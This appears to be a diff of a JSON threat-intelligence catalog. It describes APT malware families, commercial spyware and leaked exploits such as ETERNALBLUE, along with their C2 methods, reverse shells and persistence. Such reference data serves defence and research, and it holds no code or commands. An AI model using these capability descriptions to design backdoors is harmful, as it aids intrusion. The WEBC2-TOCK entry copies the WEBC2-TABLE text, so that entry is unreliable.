"description": "The NEWSREELS malware family is an HTTP based backdoor. When first started, NEWSREELS decodes two strings from its resources section. These strings are both used as C2 channels, one URL is used as a beacon URL (transmitting) and the second URL is used to get commands (receiving). The NEWSREELS malware family is capable of performing file uploads, downloads, creating processes or creating an interactive reverse shell.",
- "value": "NEWSREELS",
- "uuid": "5abc6792-be17-48ee-a765-29cffa4242ee"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "5abc6792-be17-48ee-a765-29cffa4242ee",
+ "value": "NEWSREELS"
+ },
+ {
"description": "The SEASALT malware family communicates via a custom binary protocol. It is capable of gathering some basic system information, file system manipulation, file upload and download, process creation and termination, and spawning an interactive reverse shell. The malware maintains persistence by installing itself as a service.",
- "value": "SEASALT",
- "uuid": "7429aaf8-85a8-4ae9-b583-c7eec0f5b0cb"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "7429aaf8-85a8-4ae9-b583-c7eec0f5b0cb",
+ "value": "SEASALT"
+ },
+ {
"description": "STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string \"*(SY)# \" to the remote system, where is the hostname of the victim system. The remote host responds with a packet that also begins with the string \"*(SY)# cmd\". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.",
- "value": "STARSYPOUND",
- "uuid": "d0220108-48d7-4056-babc-189048f37a59"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
- "description": "This family of malware provides a backdoor over the network to the attackers. It is configured to connect to a single host and offers file download over HTTP, program execution, and arbitrary execution of commands through a cmd.exe instance.",
- "value": "SWORD",
- "uuid": "96fb29fa-7c3a-4124-baf5-cc5f99b2a05f"
+ "uuid": "d0220108-48d7-4056-babc-189048f37a59",
+ "value": "STARSYPOUND"
},
{
+ "description": "This family of malware provides a backdoor over the network to the attackers. It is configured to connect to a single host and offers file download over HTTP, program execution, and arbitrary execution of commands through a cmd.exe instance.",
+ "meta": {
+ "refs": [
+ "http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
+ ]
+ },
+ "uuid": "96fb29fa-7c3a-4124-baf5-cc5f99b2a05f",
+ "value": "SWORD"
+ },
+ {
+ "description": " This malware family is a full-featured backdoor capable of file uploading and downloading, arbitrary execution of programs, and providing a remote interactive command shell. All communications with the C2 server are sent over HTTP to a static URL, appending various URL parameters to the request. Some variants use a slightly different URL.",
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
@@ -2620,242 +2630,242 @@
"TROJAN LETSGO"
]
},
- "description": " This malware family is a full-featured backdoor capable of file uploading and downloading, arbitrary execution of programs, and providing a remote interactive command shell. All communications with the C2 server are sent over HTTP to a static URL, appending various URL parameters to the request. Some variants use a slightly different URL.",
- "value": "TABMSGSQL",
- "uuid": "d5a4cbe7-81c9-4a52-80ee-07ca3f625844"
+ "uuid": "d5a4cbe7-81c9-4a52-80ee-07ca3f625844",
+ "value": "TABMSGSQL"
},
{
- "meta": {
- "refs": [
- "http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
- ]
- },
"description": "The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-ECLIPSE family is distinguished by the presence of 'eclipse' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.",
- "value": "TARSIP-ECLIPSE",
- "uuid": "049590f1-3f3a-4670-a341-d6d29fbb123f"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "049590f1-3f3a-4670-a341-d6d29fbb123f",
+ "value": "TARSIP-ECLIPSE"
+ },
+ {
"description": "The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-MOON family is distinguished by the presence of 'moon' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.",
- "value": "TARSIP-MOON",
- "uuid": "dbce78ac-5729-4bd1-b7c0-6bc0344564bc"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "dbce78ac-5729-4bd1-b7c0-6bc0344564bc",
+ "value": "TARSIP-MOON"
+ },
+ {
"description": "The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp. When the WARP executing remote commands, the malware creates a copy of the ?%SYSTEMROOT%\\system32\\cmd.exe? file as '%USERPROFILE%\\Temp\\~ISUN32.EXE'. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.",
- "value": "WARP",
- "uuid": "29917fb3-6c56-4659-a203-5885c4a8e70f"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "29917fb3-6c56-4659-a203-5885c4a8e70f",
+ "value": "WARP"
+ },
+ {
"description": "A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is capable of downloading and executing a file. All variants represented here are the same file with different MD5 signatures. This malware attempts to contact its C2 once a week (Thursday at 10:00 AM). It looks for commands inside a set of HTML tags, part of which are in the File Strings indicator term below.",
- "value": "WEBC2-ADSPACE",
- "uuid": "2d8043b4-48ef-4992-a04a-c342cbbb4f87"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "2d8043b4-48ef-4992-a04a-c342cbbb4f87",
+ "value": "WEBC2-ADSPACE"
+ },
+ {
"description": "A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware family is a only a downloader which operates over the HTTP protocol with a hard-coded URL. If directed, it has the capability to download, decompress, and execute compressed binaries.",
- "value": "WEBC2-AUSOV",
- "uuid": "e2a27431-28ea-42e3-a0cc-72f29828c292"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "e2a27431-28ea-42e3-a0cc-72f29828c292",
+ "value": "WEBC2-AUSOV"
+ },
+ {
"description": " A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is a backdoor capable of downloading files and updating its configuration. Communication with the command and control (C2) server uses a combination of single-byte XOR and Base64 encoded data wrapped in standard HTML tags. The malware family installs a registry key as a persistence mechanism.",
- "value": "WEBC2-BOLID",
- "uuid": "a601e1b0-c0bc-4665-9639-4dc5e588520c"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "a601e1b0-c0bc-4665-9639-4dc5e588520c",
+ "value": "WEBC2-BOLID"
+ },
+ {
"description": "A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The family of malware provides the attacker with an interactive command shell, the ability to upload and download files, execute commands on the system, list processes and DLLs, kill processes, and ping hosts on the local network. Responses to these commands are encrypted and compressed before being POSTed to the server. Some variants copy cmd.exe to Updatasched.exe in a temporary directory, and then may launch that in a process if an interactive shell is called. On initial invocation, the malware also attempts to delete previous copies of the Updatasched.exe file.",
- "value": "WEBC2-CLOVER",
- "uuid": "d7fa0245-2cff-475f-9d8c-3728c83ac194"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "d7fa0245-2cff-475f-9d8c-3728c83ac194",
+ "value": "WEBC2-CLOVER"
+ },
+ {
"description": "A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware act only as downloaders and droppers for other malware. They communicate with a hard-coded C2 server, reading commands embedded in HTML comment fields. Some variants are executables which act upon execution, others are DLLs which can be attached to services or loaded through search order hijacking.",
- "value": "WEBC2-CSON",
- "uuid": "950a8038-eeec-44a0-b3db-a557e5796416"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "950a8038-eeec-44a0-b3db-a557e5796416",
+ "value": "WEBC2-CSON"
+ },
+ {
"description": "The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-DIV variant searches for the strings \"div safe:\" and \" balance\" to delimit encoded C2 information. If the decoded string begins with the letter \"J\" the malware will parse additional arguments in the decoded string to specify the sleep interval to use. WEBC2-DIV is capable of downloading a file, downloading and executing a file, or sleeping a specified interval.",
- "value": "WEBC2-DIV",
- "uuid": "54be66ea-fd26-4f25-b4af-d10d16fa919f"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "54be66ea-fd26-4f25-b4af-d10d16fa919f",
+ "value": "WEBC2-DIV"
+ },
+ {
"description": "A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware is a variant on the GREENCAT family, using a fixed web C2. This family is a full featured backdoor which provides remote command execution, file transfer, process and service enumeration and manipulation. It installs itself persistently through the current user's registry Run key.",
- "value": "WEBC2-GREENCAT",
- "uuid": "bfe69071-17bf-466f-97fd-669b72053137"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "bfe69071-17bf-466f-97fd-669b72053137",
+ "value": "WEBC2-GREENCAT"
+ },
+ {
"description": "The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-HEAD variant communicates over HTTPS, using the system's SSL implementation to encrypt all communications with the C2 server. WEBC2-HEAD first issues an HTTP GET to the host, sending the Base64-encoded string containing the name of the compromised machine running the malware.",
- "value": "WEBC2-HEAD",
- "uuid": "4ef97a7e-5686-44cb-ad91-7a393f32f39b"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "4ef97a7e-5686-44cb-ad91-7a393f32f39b",
+ "value": "WEBC2-HEAD"
+ },
+ {
"description": "The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-KT3 variant searches for commands in a specific comment tag. Network traffic starting with *!Kt3+v| may indicate WEBC2-KT3 activity.",
- "value": "WEBC2-KT3",
- "uuid": "e2afc267-9674-4ca3-807f-47678fb40da4"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "e2afc267-9674-4ca3-807f-47678fb40da4",
+ "value": "WEBC2-KT3"
+ },
+ {
"description": "The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-QBP variant will search for two strings in a HTML comment. The first will be \"2010QBP \" followed by \" 2010QBP//--\". Inside these tags will be a DES-encrypted string. ",
- "value": "WEBC2-QBP",
- "uuid": "84f3bacf-abd5-445e-a98a-5b02f1eaac92"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "84f3bacf-abd5-445e-a98a-5b02f1eaac92",
+ "value": "WEBC2-QBP"
+ },
+ {
"description": "A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware will set itself up as a service and connect out to a hardcoded web page and read a modified base64 string from this webpage. The later versions of this malware supports three commands (earlier ones are just downloaders or reverse shells). The first commands will sleep the malware for N number of hours. The second command will download a binary from the encoded HTML comment and execute it on the infected host. The third will spawn an encoded reverse shell to an attacker specified location and port.",
- "value": "WEBC2-RAVE",
- "uuid": "9e36feee-e7d2-400a-960e-5f2bd6ac0c15"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "9e36feee-e7d2-400a-960e-5f2bd6ac0c15",
+ "value": "WEBC2-RAVE"
+ },
+ {
"description": "The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.",
- "value": "WEBC2-TABLE",
- "uuid": "269fee27-f275-44e9-a0db-bebf14d2f83c"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "269fee27-f275-44e9-a0db-bebf14d2f83c",
+ "value": "WEBC2-TABLE"
+ },
+ {
"description": "The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.",
- "value": "WEBC2-TOCK",
- "uuid": "3213c61f-100c-4174-b50b-c7e256ae5474"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "3213c61f-100c-4174-b50b-c7e256ae5474",
+ "value": "WEBC2-TOCK"
+ },
+ {
"description": "A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware provide remote command shell and remote file download and execution capabilities. The malware downloads a web page containing a crafted HTML comment that subsequently contains an encoded command. The contents of this command tell the malware whether to download and execute a program, launch a reverse shell to a specific host and port number, or to sleep for a period of time. ",
- "value": "WEBC2-UGX",
- "uuid": "d155c213-02bd-4992-a410-a541a1c1eb40"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "d155c213-02bd-4992-a410-a541a1c1eb40",
+ "value": "WEBC2-UGX"
+ },
+ {
"description": "A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.",
- "value": "WEBC2-Y21K",
- "uuid": "215f6352-324f-4735-9fda-ffec0daaa2d2"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "215f6352-324f-4735-9fda-ffec0daaa2d2",
+ "value": "WEBC2-Y21K"
+ },
+ {
"description": "The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named 'sb' or 'ex' within a tag named 'yahoo'. The embedded link can direct the malware to download and execute files.",
- "value": "WEBC2-YAHOO",
- "uuid": "d49f372e-c4ee-47bd-bc98-e3877fabaf9e"
- },
- {
"meta": {
"refs": [
- "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
+ "http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "d49f372e-c4ee-47bd-bc98-e3877fabaf9e",
+ "value": "WEBC2-YAHOO"
+ },
+ {
"description": "HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string.",
- "value": "HAYMAKER",
- "uuid": "d71604d2-a17e-4b4e-82be-19cb54f93161"
- },
- {
"meta": {
"refs": [
"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
]
},
+ "uuid": "d71604d2-a17e-4b4e-82be-19cb54f93161",
+ "value": "HAYMAKER"
+ },
+ {
"description": "BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell.",
- "value": "BUGJUICE",
- "uuid": "90124cc8-1205-4e63-83ad-5c45a110b1e6"
- },
- {
"meta": {
"refs": [
"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
]
},
- "description": "SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell. Persistence is maintained through a Run registry key.",
- "value": "SNUGRIDE",
- "uuid": "6a42aa10-5b7e-43b0-8c58-414cdaeda453"
+ "uuid": "90124cc8-1205-4e63-83ad-5c45a110b1e6",
+ "value": "BUGJUICE"
},
{
+ "description": "SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell. Persistence is maintained through a Run registry key.",
+ "meta": {
+ "refs": [
+ "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
+ ]
+ },
+ "uuid": "6a42aa10-5b7e-43b0-8c58-414cdaeda453",
+ "value": "SNUGRIDE"
+ },
+ {
+ "description": "QUASARRAT is an open-source RAT available at https://github.com/quasar/QuasarRat . The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past.",
"meta": {
"refs": [
"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
"https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/"
]
},
- "description": "QUASARRAT is an open-source RAT available at https://github.com/quasar/QuasarRat . The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past.",
- "value": "QUASARRAT",
- "uuid": "4d58ad7d-b5ee-4efb-b6af-6c70aadb326a"
+ "uuid": "4d58ad7d-b5ee-4efb-b6af-6c70aadb326a",
+ "value": "QUASARRAT"
},
{
+ "description": "Hacking Team’s \"DaVinci\" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target’s location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.",
"meta": {
"refs": [
"http://surveillance.rsf.org/en/hacking-team/",
@@ -2867,22 +2877,22 @@
"Morcut"
]
},
- "description": "Hacking Team’s \"DaVinci\" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target’s location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.",
- "value": "da Vinci RCS",
- "uuid": "37709067-e55e-473b-bb1c-312a27714d0c"
+ "uuid": "37709067-e55e-473b-bb1c-312a27714d0c",
+ "value": "da Vinci RCS"
},
{
+ "description": "LATENTBOT, a new, highly obfuscated BOT that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.",
"meta": {
"refs": [
"https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html",
"https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html"
]
},
- "description": "LATENTBOT, a new, highly obfuscated BOT that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.",
- "value": "LATENTBOT",
- "uuid": "635d260f-39d9-4d3f-99ec-d2560cb5d694"
+ "uuid": "635d260f-39d9-4d3f-99ec-d2560cb5d694",
+ "value": "LATENTBOT"
},
{
+ "description": "Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.",
"meta": {
"refs": [
"https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html"
@@ -2891,211 +2901,211 @@
"BlackOasis"
]
},
- "description": "Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.",
- "value": "FINSPY",
- "uuid": "dd4358a4-7a43-42f7-8322-0f941ee61e57"
+ "uuid": "dd4358a4-7a43-42f7-8322-0f941ee61e57",
+ "value": "FINSPY"
},
{
+ "description": "HackingTeam Remote Control System (RCS) Galileo hacking platform",
"meta": {
"refs": [
"https://www.f-secure.com/documents/996508/1030745/callisto-group"
]
},
- "description": "HackingTeam Remote Control System (RCS) Galileo hacking platform",
- "value": "RCS Galileo",
- "uuid": "8a15832a-2cb1-47cc-8916-c16a507f7154"
+ "uuid": "8a15832a-2cb1-47cc-8916-c16a507f7154",
+ "value": "RCS Galileo"
},
{
"description": "RedHat 7.0 - 7.1 Sendmail 8.11.x exploit",
- "value": "EARLYSHOVEL",
- "uuid": "80c7b1bf-c35f-4831-90ce-0699f6173f1b"
+ "uuid": "80c7b1bf-c35f-4831-90ce-0699f6173f1b",
+ "value": "EARLYSHOVEL"
},
{
"description": "root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9 & 10 (possibly newer) both SPARC and x86",
- "value": "EBBISLAND (EBBSHAVE)",
- "uuid": "370331a1-2178-4369-afb7-ce2da134a2ba"
+ "uuid": "370331a1-2178-4369-afb7-ce2da134a2ba",
+ "value": "EBBISLAND (EBBSHAVE)"
},
{
"description": "remote Samba 3.0.x Linux exploit",
- "value": "ECHOWRECKER",
- "uuid": "0381c40e-81c6-4a18-b5b6-48b7eef211c7"
+ "uuid": "0381c40e-81c6-4a18-b5b6-48b7eef211c7",
+ "value": "ECHOWRECKER"
},
{
"description": "appears to be an MDaemon email server vulnerability",
- "value": "EASYBEE",
- "uuid": "7f96b58d-0f41-46cd-8141-c53d2a03fb81"
+ "uuid": "7f96b58d-0f41-46cd-8141-c53d2a03fb81",
+ "value": "EASYBEE"
},
{
"description": "an IBM Lotus Notes exploit that gets detected as Stuxnet",
- "value": "EASYPI",
- "uuid": "4f3df03f-336d-4a2b-a500-47e93a4259e6"
+ "uuid": "4f3df03f-336d-4a2b-a500-47e93a4259e6",
+ "value": "EASYPI"
},
{
"description": "an exploit for IBM Lotus Domino 6.5.4 & 7.0.2",
- "value": "EWOKFRENZY",
- "uuid": "c8fedb97-4f7e-48d1-8f2a-5e0562c1fba0"
+ "uuid": "c8fedb97-4f7e-48d1-8f2a-5e0562c1fba0",
+ "value": "EWOKFRENZY"
},
{
"description": "an IIS 6.0 exploit that creates a remote backdoor",
- "value": "EXPLODINGCAN",
- "uuid": "f843ef63-9e42-42d0-84a0-40d863985088"
+ "uuid": "f843ef63-9e42-42d0-84a0-40d863985088",
+ "value": "EXPLODINGCAN"
},
{
"description": "a SMB1 exploit over TCP port 445 which targets XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2, and gives SYSTEM privileges (MS17-010)",
- "value": "ETERNALROMANCE",
- "uuid": "b5c5174e-36a2-4b53-aed7-91b006514c8b"
+ "uuid": "b5c5174e-36a2-4b53-aed7-91b006514c8b",
+ "value": "ETERNALROMANCE"
},
{
"description": "a SMB exploit (MS09-050)",
- "value": "EDUCATEDSCHOLAR",
- "uuid": "342a64db-f130-4ac2-96d2-a773fb2bf86d"
+ "uuid": "342a64db-f130-4ac2-96d2-a773fb2bf86d",
+ "value": "EDUCATEDSCHOLAR"
},
{
"description": "a SMB exploit for Windows XP and Server 2003 (MS10-061)",
- "value": "EMERALDTHREAD",
- "uuid": "32cd0bfb-9269-43ba-9c43-9fc484a30ad0"
+ "uuid": "32cd0bfb-9269-43ba-9c43-9fc484a30ad0",
+ "value": "EMERALDTHREAD"
},
{
"description": "a remote IMAP exploit for IBM Lotus Domino 6.6.4 to 8.5.2",
- "value": "EMPHASISMINE",
- "uuid": "48393a71-3814-48ab-805b-a7914e006814"
+ "uuid": "48393a71-3814-48ab-805b-a7914e006814",
+ "value": "EMPHASISMINE"
},
{
"description": "Outlook Exchange WebAccess rules to trigger executable code on the client's side to send an email to other users",
- "value": "ENGLISHMANSDENTIST",
- "uuid": "ce484c02-b538-4351-ba7e-48c7d05c013f"
+ "uuid": "ce484c02-b538-4351-ba7e-48c7d05c013f",
+ "value": "ENGLISHMANSDENTIST"
},
{
"description": "0-day exploit (RCE) for Avaya Call Server",
- "value": "EPICHERO",
- "uuid": "7120af74-6589-44a4-aee6-0f8fd3808d54"
+ "uuid": "7120af74-6589-44a4-aee6-0f8fd3808d54",
+ "value": "EPICHERO"
},
{
"description": "SMBv1 exploit targeting Windows XP and Server 2003",
- "value": "ERRATICGOPHER",
- "uuid": "a82fa4a0-1904-4c03-9fc4-7cbcd255ce58"
+ "uuid": "a82fa4a0-1904-4c03-9fc4-7cbcd255ce58",
+ "value": "ERRATICGOPHER"
},
{
"description": "a SMBv3 remote code execution flaw for Windows 8 and Server 2012 SP0 (MS17-010)",
- "value": "ETERNALSYNERGY",
- "uuid": "b4547fe9-25c9-40b6-9256-07f1ed7548c4"
+ "uuid": "b4547fe9-25c9-40b6-9256-07f1ed7548c4",
+ "value": "ETERNALSYNERGY"
},
{
"description": "SMBv2 exploit for Windows 7 SP1 (MS17-010)",
- "value": "ETERNALBLUE",
- "uuid": "e5b14d3e-ae59-495e-bdcb-f9d876db3f87"
+ "uuid": "e5b14d3e-ae59-495e-bdcb-f9d876db3f87",
+ "value": "ETERNALBLUE"
},
{
"description": "a SMBv1 exploit",
- "value": "ETERNALCHAMPION",
- "uuid": "4aee9bfe-f01d-44ea-9edd-91ecad88413a"
+ "uuid": "4aee9bfe-f01d-44ea-9edd-91ecad88413a",
+ "value": "ETERNALCHAMPION"
},
{
"description": "Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2 domain controllers",
- "value": "ESKIMOROLL",
- "uuid": "4a8db2c4-04fb-49e0-b688-1bc5d8354072"
+ "uuid": "4a8db2c4-04fb-49e0-b688-1bc5d8354072",
+ "value": "ESKIMOROLL"
},
{
"description": "RDP exploit and backdoor for Windows Server 2003",
- "value": "ESTEEMAUDIT",
- "uuid": "5d9131be-c3bb-44ac-9c4d-19fcc97d2efd"
+ "uuid": "5d9131be-c3bb-44ac-9c4d-19fcc97d2efd",
+ "value": "ESTEEMAUDIT"
},
{
"description": "RCE exploit for the Server service in Windows Server 2008 and later (MS08-067)",
